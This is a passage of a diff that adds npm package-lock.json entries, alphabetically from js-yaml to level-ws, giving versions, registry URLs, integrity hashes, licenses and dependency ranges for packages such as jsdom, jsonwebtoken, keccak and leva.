18778+ "integrity": "sha512-PMSmkqxr106Xa156c2M265Z+FTrPl+oxd/rgOQy2tijQeK5TxQ43psO1ZCwhVOSdnn+RzkzlRz/eY4BgJBYVpg==",
18779+ "license": "MIT",
18780+ "dependencies": {
18781+ "argparse": "^1.0.7",
18782+ "esprima": "^4.0.0"
18783+ },
18784+ "bin": {
18785+ "js-yaml": "bin/js-yaml.js"
18786+ }
18787+ },
18788+ "node_modules/jsbn": {
18789+ "version": "0.1.1",
18790+ "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz",
18791+ "integrity": "sha512-UVU9dibq2JcFWxQPA6KCqj5O42VOmAY3zQUfEKxU0KpTGXwNoCjkX1e13eHNvw/xPynt6pU0rZ1htjWTNTSXsg==",
18792+ "license": "MIT"
18793+ },
18794+ "node_modules/jsdom": {
18795+ "version": "16.7.0",
18796+ "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-16.7.0.tgz",
18797+ "integrity": "sha512-u9Smc2G1USStM+s/x1ru5Sxrl6mPYCbByG1U/hUmqaVsm4tbNyS7CicOSRyuGQYZhTu0h84qkZZQ/I+dzizSVw==",
18798+ "license": "MIT",
18799+ "dependencies": {
18800+ "abab": "^2.0.5",
18801+ "acorn": "^8.2.4",
18802+ "acorn-globals": "^6.0.0",
18803+ "cssom": "^0.4.4",
18804+ "cssstyle": "^2.3.0",
18805+ "data-urls": "^2.0.0",
18806+ "decimal.js": "^10.2.1",
18807+ "domexception": "^2.0.1",
18808+ "escodegen": "^2.0.0",
18809+ "form-data": "^3.0.0",
18810+ "html-encoding-sniffer": "^2.0.1",
18811+ "http-proxy-agent": "^4.0.1",
18812+ "https-proxy-agent": "^5.0.0",
18813+ "is-potential-custom-element-name": "^1.0.1",
18814+ "nwsapi": "^2.2.0",
18815+ "parse5": "6.0.1",
18816+ "saxes": "^5.0.1",
18817+ "symbol-tree": "^3.2.4",
18818+ "tough-cookie": "^4.0.0",
18819+ "w3c-hr-time": "^1.0.2",
18820+ "w3c-xmlserializer": "^2.0.0",
18821+ "webidl-conversions": "^6.1.0",
18822+ "whatwg-encoding": "^1.0.5",
18823+ "whatwg-mimetype": "^2.3.0",
18824+ "whatwg-url": "^8.5.0",
18825+ "ws": "^7.4.6",
18826+ "xml-name-validator": "^3.0.0"
18827+ },
18828+ "engines": {
18829+ "node": ">=10"
18830+ },
18831+ "peerDependencies": {
18832+ "canvas": "^2.5.0"
18833+ },
18834+ "peerDependenciesMeta": {
18835+ "canvas": {
18836+ "optional": true
18837+ }
18838+ }
18839+ },
18840+ "node_modules/jsdom/node_modules/form-data": {
18841+ "version": "3.0.4",
18842+ "resolved": "https://registry.npmjs.org/form-data/-/form-data-3.0.4.tgz",
18843+ "integrity": "sha512-f0cRzm6dkyVYV3nPoooP8XlccPQukegwhAnpoLcXy+X+A8KfpGOoXwDr9FLZd3wzgLaBGQBE3lY93Zm/i1JvIQ==",
18844+ "license": "MIT",
18845+ "dependencies": {
18846+ "asynckit": "^0.4.0",
18847+ "combined-stream": "^1.0.8",
18848+ "es-set-tostringtag": "^2.1.0",
18849+ "hasown": "^2.0.2",
18850+ "mime-types": "^2.1.35"
18851+ },
18852+ "engines": {
18853+ "node": ">= 6"
18854+ }
18855+ },
18856+ "node_modules/jsdom/node_modules/tr46": {
18857+ "version": "2.1.0",
18858+ "resolved": "https://registry.npmjs.org/tr46/-/tr46-2.1.0.tgz",
18859+ "integrity": "sha512-15Ih7phfcdP5YxqiB+iDtLoaTz4Nd35+IiAv0kQ5FNKHzXgdWqPoTIqEDDJmXceQt4JZk6lVPT8lnDlPpGDppw==",
18860+ "license": "MIT",
18861+ "dependencies": {
18862+ "punycode": "^2.1.1"
18863+ },
18864+ "engines": {
18865+ "node": ">=8"
18866+ }
18867+ },
18868+ "node_modules/jsdom/node_modules/whatwg-url": {
18869+ "version": "8.7.0",
18870+ "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-8.7.0.tgz",
18871+ "integrity": "sha512-gAojqb/m9Q8a5IV96E3fHJM70AzCkgt4uXYX2O7EmuyOnLrViCQlsEBmF9UQIu3/aeAIp2U17rtbpZWNntQqdg==",
18872+ "license": "MIT",
18873+ "dependencies": {
18874+ "lodash": "^4.7.0",
18875+ "tr46": "^2.1.0",
18876+ "webidl-conversions": "^6.1.0"
18877+ },
18878+ "engines": {
18879+ "node": ">=10"
18880+ }
18881+ },
18882+ "node_modules/jsesc": {
18883+ "version": "3.1.0",
18884+ "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz",
18885+ "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==",
18886+ "license": "MIT",
18887+ "bin": {
18888+ "jsesc": "bin/jsesc"
18889+ },
18890+ "engines": {
18891+ "node": ">=6"
18892+ }
18893+ },
18894+ "node_modules/json-buffer": {
18895+ "version": "3.0.1",
18896+ "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz",
18897+ "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==",
18898+ "license": "MIT"
18899+ },
18900+ "node_modules/json-parse-even-better-errors": {
18901+ "version": "2.3.1",
18902+ "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz",
18903+ "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==",
18904+ "license": "MIT"
18905+ },
18906+ "node_modules/json-rpc-engine": {
18907+ "version": "6.1.0",
18908+ "resolved": "https://registry.npmjs.org/json-rpc-engine/-/json-rpc-engine-6.1.0.tgz",
18909+ "integrity": "sha512-NEdLrtrq1jUZyfjkr9OCz9EzCNhnRyWtt1PAnvnhwy6e8XETS0Dtc+ZNCO2gvuAoKsIn2+vCSowXTYE4CkgnAQ==",
18910+ "license": "ISC",
18911+ "dependencies": {
18912+ "@metamask/safe-event-emitter": "^2.0.0",
18913+ "eth-rpc-errors": "^4.0.2"
18914+ },
18915+ "engines": {
18916+ "node": ">=10.0.0"
18917+ }
18918+ },
18919+ "node_modules/json-rpc-engine/node_modules/eth-rpc-errors": {
18920+ "version": "4.0.3",
18921+ "resolved": "https://registry.npmjs.org/eth-rpc-errors/-/eth-rpc-errors-4.0.3.tgz",
18922+ "integrity": "sha512-Z3ymjopaoft7JDoxZcEb3pwdGh7yiYMhOwm2doUt6ASXlMavpNlK6Cre0+IMl2VSGyEU9rkiperQhp5iRxn5Pg==",
18923+ "license": "MIT",
18924+ "dependencies": {
18925+ "fast-safe-stringify": "^2.0.6"
18926+ }
18927+ },
18928+ "node_modules/json-rpc-random-id": {
18929+ "version": "1.0.1",
18930+ "resolved": "https://registry.npmjs.org/json-rpc-random-id/-/json-rpc-random-id-1.0.1.tgz",
18931+ "integrity": "sha512-RJ9YYNCkhVDBuP4zN5BBtYAzEl03yq/jIIsyif0JY9qyJuQQZNeDK7anAPKKlyEtLSj2s8h6hNh2F8zO5q7ScA==",
18932+ "license": "ISC"
18933+ },
18934+ "node_modules/json-schema": {
18935+ "version": "0.4.0",
18936+ "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.4.0.tgz",
18937+ "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==",
18938+ "license": "(AFL-2.1 OR BSD-3-Clause)"
18939+ },
18940+ "node_modules/json-schema-traverse": {
18941+ "version": "0.4.1",
18942+ "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
18943+ "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==",
18944+ "license": "MIT"
18945+ },
18946+ "node_modules/json-stable-stringify": {
18947+ "version": "1.3.0",
18948+ "resolved": "https://registry.npmjs.org/json-stable-stringify/-/json-stable-stringify-1.3.0.tgz",
18949+ "integrity": "sha512-qtYiSSFlwot9XHtF9bD9c7rwKjr+RecWT//ZnPvSmEjpV5mmPOCN4j8UjY5hbjNkOwZ/jQv3J6R1/pL7RwgMsg==",
18950+ "license": "MIT",
18951+ "dependencies": {
18952+ "call-bind": "^1.0.8",
18953+ "call-bound": "^1.0.4",
18954+ "isarray": "^2.0.5",
18955+ "jsonify": "^0.0.1",
18956+ "object-keys": "^1.1.1"
18957+ },
18958+ "engines": {
18959+ "node": ">= 0.4"
18960+ },
18961+ "funding": {
18962+ "url": "https://github.com/sponsors/ljharb"
18963+ }
18964+ },
18965+ "node_modules/json-stable-stringify-without-jsonify": {
18966+ "version": "1.0.1",
18967+ "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz",
18968+ "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==",
18969+ "license": "MIT"
18970+ },
18971+ "node_modules/json-stringify-safe": {
18972+ "version": "5.0.1",
18973+ "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz",
18974+ "integrity": "sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA==",
18975+ "license": "ISC"
18976+ },
18977+ "node_modules/json5": {
18978+ "version": "2.2.3",
18979+ "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz",
18980+ "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==",
18981+ "license": "MIT",
18982+ "bin": {
18983+ "json5": "lib/cli.js"
18984+ },
18985+ "engines": {
18986+ "node": ">=6"
18987+ }
18988+ },
18989+ "node_modules/jsonfile": {
18990+ "version": "6.2.0",
18991+ "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.0.tgz",
18992+ "integrity": "sha512-FGuPw30AdOIUTRMC2OMRtQV+jkVj2cfPqSeWXv1NEAJ1qZ5zb1X6z1mFhbfOB/iy3ssJCD+3KuZ8r8C3uVFlAg==",
18993+ "license": "MIT",
18994+ "dependencies": {
18995+ "universalify": "^2.0.0"
18996+ },
18997+ "optionalDependencies": {
18998+ "graceful-fs": "^4.1.6"
18999+ }
19000+ },
19001+ "node_modules/jsonify": {
19002+ "version": "0.0.1",
19003+ "resolved": "https://registry.npmjs.org/jsonify/-/jsonify-0.0.1.tgz",
19004+ "integrity": "sha512-2/Ki0GcmuqSrgFyelQq9M05y7PS0mEwuIzrf3f1fPqkVDVRvZrPZtVSMHxdgo8Aq0sxAOb/cr2aqqA3LeWHVPg==",
19005+ "license": "Public Domain",
19006+ "funding": {
19007+ "url": "https://github.com/sponsors/ljharb"
19008+ }
19009+ },
19010+ "node_modules/jsonp": {
19011+ "version": "0.2.1",
19012+ "resolved": "https://registry.npmjs.org/jsonp/-/jsonp-0.2.1.tgz",
19013+ "integrity": "sha512-pfog5gdDxPdV4eP7Kg87M8/bHgshlZ5pybl+yKxAnCZ5O7lCIn7Ixydj03wOlnDQesky2BPyA91SQ+5Y/mNwzw==",
19014+ "dependencies": {
19015+ "debug": "^2.1.3"
19016+ }
19017+ },
19018+ "node_modules/jsonpath": {
19019+ "version": "1.1.1",
19020+ "resolved": "https://registry.npmjs.org/jsonpath/-/jsonpath-1.1.1.tgz",
19021+ "integrity": "sha512-l6Cg7jRpixfbgoWgkrl77dgEj8RPvND0wMH6TwQmi9Qs4TFfS9u5cUFnbeKTwj5ga5Y3BTGGNI28k117LJ009w==",
19022+ "license": "MIT",
19023+ "dependencies": {
19024+ "esprima": "1.2.2",
19025+ "static-eval": "2.0.2",
19026+ "underscore": "1.12.1"
19027+ }
19028+ },
19029+ "node_modules/jsonpath/node_modules/esprima": {
19030+ "version": "1.2.2",
19031+ "resolved": "https://registry.npmjs.org/esprima/-/esprima-1.2.2.tgz",
19032+ "integrity": "sha512-+JpPZam9w5DuJ3Q67SqsMGtiHKENSMRVoxvArfJZK01/BfLEObtZ6orJa/MtoGNR/rfMgp5837T41PAmTwAv/A==",
19033+ "bin": {
19034+ "esparse": "bin/esparse.js",
19035+ "esvalidate": "bin/esvalidate.js"
19036+ },
19037+ "engines": {
19038+ "node": ">=0.4.0"
19039+ }
19040+ },
19041+ "node_modules/jsonpointer": {
19042+ "version": "5.0.1",
19043+ "resolved": "https://registry.npmjs.org/jsonpointer/-/jsonpointer-5.0.1.tgz",
19044+ "integrity": "sha512-p/nXbhSEcu3pZRdkW1OfJhpsVtW1gd4Wa1fnQc9YLiTfAjn0312eMKimbdIQzuZl9aa9xUGaRlP9T/CJE/ditQ==",
19045+ "license": "MIT",
19046+ "engines": {
19047+ "node": ">=0.10.0"
19048+ }
19049+ },
19050+ "node_modules/jsonwebtoken": {
19051+ "version": "9.0.3",
19052+ "resolved": "https://registry.npmjs.org/jsonwebtoken/-/jsonwebtoken-9.0.3.tgz",
19053+ "integrity": "sha512-MT/xP0CrubFRNLNKvxJ2BYfy53Zkm++5bX9dtuPbqAeQpTVe0MQTFhao8+Cp//EmJp244xt6Drw/GVEGCUj40g==",
19054+ "license": "MIT",
19055+ "dependencies": {
19056+ "jws": "^4.0.1",
19057+ "lodash.includes": "^4.3.0",
19058+ "lodash.isboolean": "^3.0.3",
19059+ "lodash.isinteger": "^4.0.4",
19060+ "lodash.isnumber": "^3.0.3",
19061+ "lodash.isplainobject": "^4.0.6",
19062+ "lodash.isstring": "^4.0.1",
19063+ "lodash.once": "^4.0.0",
19064+ "ms": "^2.1.1",
19065+ "semver": "^7.5.4"
19066+ },
19067+ "engines": {
19068+ "node": ">=12",
19069+ "npm": ">=6"
19070+ }
19071+ },
19072+ "node_modules/jsonwebtoken/node_modules/ms": {
19073+ "version": "2.1.3",
19074+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
19075+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
19076+ "license": "MIT"
19077+ },
19078+ "node_modules/jsprim": {
19079+ "version": "1.4.2",
19080+ "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.2.tgz",
19081+ "integrity": "sha512-P2bSOMAc/ciLz6DzgjVlGJP9+BrJWu5UDGK70C2iweC5QBIeFf0ZXRvGjEj2uYgrY2MkAAhsSWHDWlFtEroZWw==",
19082+ "license": "MIT",
19083+ "dependencies": {
19084+ "assert-plus": "1.0.0",
19085+ "extsprintf": "1.3.0",
19086+ "json-schema": "0.4.0",
19087+ "verror": "1.10.0"
19088+ },
19089+ "engines": {
19090+ "node": ">=0.6.0"
19091+ }
19092+ },
19093+ "node_modules/jsx-ast-utils": {
19094+ "version": "3.3.5",
19095+ "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.3.5.tgz",
19096+ "integrity": "sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ==",
19097+ "license": "MIT",
19098+ "dependencies": {
19099+ "array-includes": "^3.1.6",
19100+ "array.prototype.flat": "^1.3.1",
19101+ "object.assign": "^4.1.4",
19102+ "object.values": "^1.1.6"
19103+ },
19104+ "engines": {
19105+ "node": ">=4.0"
19106+ }
19107+ },
19108+ "node_modules/jwa": {
19109+ "version": "2.0.1",
19110+ "resolved": "https://registry.npmjs.org/jwa/-/jwa-2.0.1.tgz",
19111+ "integrity": "sha512-hRF04fqJIP8Abbkq5NKGN0Bbr3JxlQ+qhZufXVr0DvujKy93ZCbXZMHDL4EOtodSbCWxOqR8MS1tXA5hwqCXDg==",
19112+ "license": "MIT",
19113+ "dependencies": {
19114+ "buffer-equal-constant-time": "^1.0.1",
19115+ "ecdsa-sig-formatter": "1.0.11",
19116+ "safe-buffer": "^5.0.1"
19117+ }
19118+ },
19119+ "node_modules/jws": {
19120+ "version": "4.0.1",
19121+ "resolved": "https://registry.npmjs.org/jws/-/jws-4.0.1.tgz",
19122+ "integrity": "sha512-EKI/M/yqPncGUUh44xz0PxSidXFr/+r0pA70+gIYhjv+et7yxM+s29Y+VGDkovRofQem0fs7Uvf4+YmAdyRduA==",
19123+ "license": "MIT",
19124+ "dependencies": {
19125+ "jwa": "^2.0.1",
19126+ "safe-buffer": "^5.0.1"
19127+ }
19128+ },
19129+ "node_modules/kareem": {
19130+ "version": "2.6.3",
19131+ "resolved": "https://registry.npmjs.org/kareem/-/kareem-2.6.3.tgz",
19132+ "integrity": "sha512-C3iHfuGUXK2u8/ipq9LfjFfXFxAZMQJJq7vLS45r3D9Y2xQ/m4S8zaR4zMLFWh9AsNPXmcFfUDhTEO8UIC/V6Q==",
19133+ "license": "Apache-2.0",
19134+ "engines": {
19135+ "node": ">=12.0.0"
19136+ }
19137+ },
19138+ "node_modules/keccak": {
19139+ "version": "3.0.4",
19140+ "resolved": "https://registry.npmjs.org/keccak/-/keccak-3.0.4.tgz",
19141+ "integrity": "sha512-3vKuW0jV8J3XNTzvfyicFR5qvxrSAGl7KIhvgOu5cmWwM7tZRj3fMbj/pfIf4be7aznbc+prBWGjywox/g2Y6Q==",
19142+ "hasInstallScript": true,
19143+ "license": "MIT",
19144+ "dependencies": {
19145+ "node-addon-api": "^2.0.0",
19146+ "node-gyp-build": "^4.2.0",
19147+ "readable-stream": "^3.6.0"
19148+ },
19149+ "engines": {
19150+ "node": ">=10.0.0"
19151+ }
19152+ },
19153+ "node_modules/keccak/node_modules/readable-stream": {
19154+ "version": "3.6.2",
19155+ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz",
19156+ "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==",
19157+ "license": "MIT",
19158+ "dependencies": {
19159+ "inherits": "^2.0.3",
19160+ "string_decoder": "^1.1.1",
19161+ "util-deprecate": "^1.0.1"
19162+ },
19163+ "engines": {
19164+ "node": ">= 6"
19165+ }
19166+ },
19167+ "node_modules/keyv": {
19168+ "version": "4.5.4",
19169+ "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz",
19170+ "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==",
19171+ "license": "MIT",
19172+ "dependencies": {
19173+ "json-buffer": "3.0.1"
19174+ }
19175+ },
19176+ "node_modules/keyvaluestorage-interface": {
19177+ "version": "1.0.0",
19178+ "resolved": "https://registry.npmjs.org/keyvaluestorage-interface/-/keyvaluestorage-interface-1.0.0.tgz",
19179+ "integrity": "sha512-8t6Q3TclQ4uZynJY9IGr2+SsIGwK9JHcO6ootkHCGA0CrQCRy+VkouYNO2xicET6b9al7QKzpebNow+gkpCL8g==",
19180+ "license": "MIT"
19181+ },
19182+ "node_modules/kind-of": {
19183+ "version": "6.0.3",
19184+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
19185+ "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==",
19186+ "license": "MIT",
19187+ "engines": {
19188+ "node": ">=0.10.0"
19189+ }
19190+ },
19191+ "node_modules/kleur": {
19192+ "version": "3.0.3",
19193+ "resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz",
19194+ "integrity": "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==",
19195+ "license": "MIT",
19196+ "engines": {
19197+ "node": ">=6"
19198+ }
19199+ },
19200+ "node_modules/klona": {
19201+ "version": "2.0.6",
19202+ "resolved": "https://registry.npmjs.org/klona/-/klona-2.0.6.tgz",
19203+ "integrity": "sha512-dhG34DXATL5hSxJbIexCft8FChFXtmskoZYnoPWjXQuebWYCNkVeV3KkGegCK9CP1oswI/vQibS2GY7Em/sJJA==",
19204+ "license": "MIT",
19205+ "engines": {
19206+ "node": ">= 8"
19207+ }
19208+ },
19209+ "node_modules/language-subtag-registry": {
19210+ "version": "0.3.23",
19211+ "resolved": "https://registry.npmjs.org/language-subtag-registry/-/language-subtag-registry-0.3.23.tgz",
19212+ "integrity": "sha512-0K65Lea881pHotoGEa5gDlMxt3pctLi2RplBb7Ezh4rRdLEOtgi7n4EwK9lamnUCkKBqaeKRVebTq6BAxSkpXQ==",
19213+ "license": "CC0-1.0"
19214+ },
19215+ "node_modules/language-tags": {
19216+ "version": "1.0.9",
19217+ "resolved": "https://registry.npmjs.org/language-tags/-/language-tags-1.0.9.tgz",
19218+ "integrity": "sha512-MbjN408fEndfiQXbFQ1vnd+1NoLDsnQW41410oQBXiyXDMYH5z505juWa4KUE1LqxRC7DgOgZDbKLxHIwm27hA==",
19219+ "license": "MIT",
19220+ "dependencies": {
19221+ "language-subtag-registry": "^0.3.20"
19222+ },
19223+ "engines": {
19224+ "node": ">=0.10"
19225+ }
19226+ },
19227+ "node_modules/launch-editor": {
19228+ "version": "2.12.0",
19229+ "resolved": "https://registry.npmjs.org/launch-editor/-/launch-editor-2.12.0.tgz",
19230+ "integrity": "sha512-giOHXoOtifjdHqUamwKq6c49GzBdLjvxrd2D+Q4V6uOHopJv7p9VJxikDsQ/CBXZbEITgUqSVHXLTG3VhPP1Dg==",
19231+ "license": "MIT",
19232+ "dependencies": {
19233+ "picocolors": "^1.1.1",
19234+ "shell-quote": "^1.8.3"
19235+ }
19236+ },
19237+ "node_modules/leva": {
19238+ "version": "0.10.1",
19239+ "resolved": "https://registry.npmjs.org/leva/-/leva-0.10.1.tgz",
19240+ "integrity": "sha512-BcjnfUX8jpmwZUz2L7AfBtF9vn4ggTH33hmeufDULbP3YgNZ/C+ss/oO3stbrqRQyaOmRwy70y7BGTGO81S3rA==",
19241+ "license": "MIT",
19242+ "dependencies": {
19243+ "@radix-ui/react-portal": "^1.1.4",
19244+ "@radix-ui/react-tooltip": "^1.1.8",
19245+ "@stitches/react": "^1.2.8",
19246+ "@use-gesture/react": "^10.2.5",
19247+ "colord": "^2.9.2",
19248+ "dequal": "^2.0.2",
19249+ "merge-value": "^1.0.0",
19250+ "react-colorful": "^5.5.1",
19251+ "react-dropzone": "^12.0.0",
19252+ "v8n": "^1.3.3",
19253+ "zustand": "^3.6.9"
19254+ },
19255+ "peerDependencies": {
19256+ "react": "^18.0.0 || ^19.0.0",
19257+ "react-dom": "^18.0.0 || ^19.0.0"
19258+ }
19259+ },
19260+ "node_modules/leva/node_modules/zustand": {
19261+ "version": "3.7.2",
19262+ "resolved": "https://registry.npmjs.org/zustand/-/zustand-3.7.2.tgz",
19263+ "integrity": "sha512-PIJDIZKtokhof+9+60cpockVOq05sJzHCriyvaLBmEJixseQ1a5Kdov6fWZfWOu5SK9c+FhH1jU0tntLxRJYMA==",
19264+ "license": "MIT",
19265+ "engines": {
19266+ "node": ">=12.7.0"
19267+ },
19268+ "peerDependencies": {
19269+ "react": ">=16.8"
19270+ },
19271+ "peerDependenciesMeta": {
19272+ "react": {
19273+ "optional": true
19274+ }
19275+ }
19276+ },
19277+ "node_modules/level-codec": {
19278+ "version": "7.0.1",
19279+ "resolved": "https://registry.npmjs.org/level-codec/-/level-codec-7.0.1.tgz",
19280+ "integrity": "sha512-Ua/R9B9r3RasXdRmOtd+t9TCOEIIlts+TN/7XTT2unhDaL6sJn83S3rUyljbr6lVtw49N3/yA0HHjpV6Kzb2aQ==",
19281+ "deprecated": "Superseded by level-transcoder (https://github.com/Level/community#faq)",
19282+ "license": "MIT"
19283+ },
19284+ "node_modules/level-errors": {
19285+ "version": "1.0.5",
19286+ "resolved": "https://registry.npmjs.org/level-errors/-/level-errors-1.0.5.tgz",
19287+ "integrity": "sha512-/cLUpQduF6bNrWuAC4pwtUKA5t669pCsCi2XbmojG2tFeOr9j6ShtdDCtFFQO1DRt+EVZhx9gPzP9G2bUaG4ig==",
19288+ "deprecated": "Superseded by abstract-level (https://github.com/Level/community#faq)",
19289+ "license": "MIT",
19290+ "dependencies": {
19291+ "errno": "~0.1.1"
19292+ }
19293+ },
19294+ "node_modules/level-iterator-stream": {
19295+ "version": "1.3.1",
19296+ "resolved": "https://registry.npmjs.org/level-iterator-stream/-/level-iterator-stream-1.3.1.tgz",
19297+ "integrity": "sha512-1qua0RHNtr4nrZBgYlpV0qHHeHpcRRWTxEZJ8xsemoHAXNL5tbooh4tPEEqIqsbWCAJBmUmkwYK/sW5OrFjWWw==",
19298+ "license": "MIT",
19299+ "dependencies": {
19300+ "inherits": "^2.0.1",
19301+ "level-errors": "^1.0.3",
19302+ "readable-stream": "^1.0.33",
19303+ "xtend": "^4.0.0"
19304+ }
19305+ },
19306+ "node_modules/level-iterator-stream/node_modules/isarray": {
19307+ "version": "0.0.1",
19308+ "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz",
19309+ "integrity": "sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ==",
19310+ "license": "MIT"
19311+ },
19312+ "node_modules/level-iterator-stream/node_modules/readable-stream": {
19313+ "version": "1.1.14",
19314+ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.1.14.tgz",
19315+ "integrity": "sha512-+MeVjFf4L44XUkhM1eYbD8fyEsxcV81pqMSR5gblfcLCHfZvbrqy4/qYHE+/R5HoBUT11WV5O08Cr1n3YXkWVQ==",
19316+ "license": "MIT",
19317+ "dependencies": {
19318+ "core-util-is": "~1.0.0",
19319+ "inherits": "~2.0.1",
19320+ "isarray": "0.0.1",
19321+ "string_decoder": "~0.10.x"
19322+ }
19323+ },
19324+ "node_modules/level-iterator-stream/node_modules/string_decoder": {
19325+ "version": "0.10.31",
19326+ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz",
19327+ "integrity": "sha512-ev2QzSzWPYmy9GuqfIVildA4OdcGLeFZQrq5ys6RtiuF+RQQiZWr8TZNyAcuVXyQRYfEO+MsoB/1BuQVhOJuoQ==",
19328+ "license": "MIT"
19329+ },
19330+ "node_modules/level-ws": {
19331+ "version": "0.0.0",
19332+ "resolved": "https://registry.npmjs.org/level-ws/-/level-ws-0.0.0.tgz",
19333+ "integrity": "sha512-XUTaO/+Db51Uiyp/t7fCMGVFOTdtLS/NIACxE/GHsij15mKzxksZifKVjlXDF41JMUP/oM1Oc4YNGdKnc3dVLw==",
19334+ "license": "MIT",
19335+ "dependencies": {
19336+ "readable-stream": "~1.0.15",
19337+ "xtend": "~2.1.1"
19338+ }
19339+ },
19340+ "node_modules/level-ws/node_modules/isarray": {
19341+ "version": "0.0.1",
19342+ "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz",
19343+ "integrity": "sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ==",
19344+ "license": "MIT"
19345+ },
19346+ "node_modules/level-ws/node_modules/object-keys": {
19347+ "version": "0.4.0",
19348+ "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-0.4.0.tgz",
19349+ "integrity": "sha512-ncrLw+X55z7bkl5PnUvHwFK9FcGuFYo9gtjws2XtSzL+aZ8tm830P60WJ0dSmFVaSalWieW5MD7kEdnXda9yJw==",
19350+ "license": "MIT"
19351+ },
19352+ "node_modules/level-ws/node_modules/readable-stream": {
19353+ "version": "1.0.34",
19354+ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz",
19355+ "integrity": "sha512-ok1qVCJuRkNmvebYikljxJA/UEsKwLl2nI1OmaqAu4/UE+h0wKCHok4XkL/gvi39OacXvw59RJUOFUkDib2rHg==",
19356+ "license": "MIT",
19357+ "dependencies": {
19358+ "core-util-is": "~1.0.0",
19359+ "inherits": "~2.0.1",
19360+ "isarray": "0.0.1",
19361+ "string_decoder": "~0.10.x"
19362+ }
19363+ },
19364+ "node_modules/level-ws/node_modules/string_decoder": {
19365+ "version": "0.10.31",
19366+ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz",
19367+ "integrity": "sha512-ev2QzSzWPYmy9GuqfIVildA4OdcGLeFZQrq5ys6RtiuF+RQQiZWr8TZNyAcuVXyQRYfEO+MsoB/1BuQVhOJuoQ==",
19368+ "license": "MIT"
19369+ },
19370+ "node_modules/level-ws/node_modules/xtend": {
19371+ "version": "2.1.2",
19372+ "resolved": "https://registry.npmjs.org/xtend/-/xtend-2.1.2.tgz",
19373+ "integrity": "sha512-vMNKzr2rHP9Dp/e1NQFnLQlwlhp9L/LfvnsVdHxN1f+uggyVI3i08uD14GPvCToPkdsRfyPqIyYGmIk58V98ZQ==",
19374+ "dependencies": {
